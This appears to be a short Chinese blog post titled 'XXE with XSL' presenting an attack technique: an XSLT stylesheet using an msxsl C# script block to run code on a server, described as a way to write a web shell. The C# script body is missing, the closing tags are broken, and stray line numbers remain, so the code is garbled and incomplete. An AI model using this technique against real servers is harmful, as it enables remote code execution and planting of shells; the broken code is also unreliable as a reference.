XXE with XSL

当XXE支持XSL时,可以直接执行命令:
写shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">

msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
xsl:template>
xsl:stylesheet>

------本文结束,感谢阅读------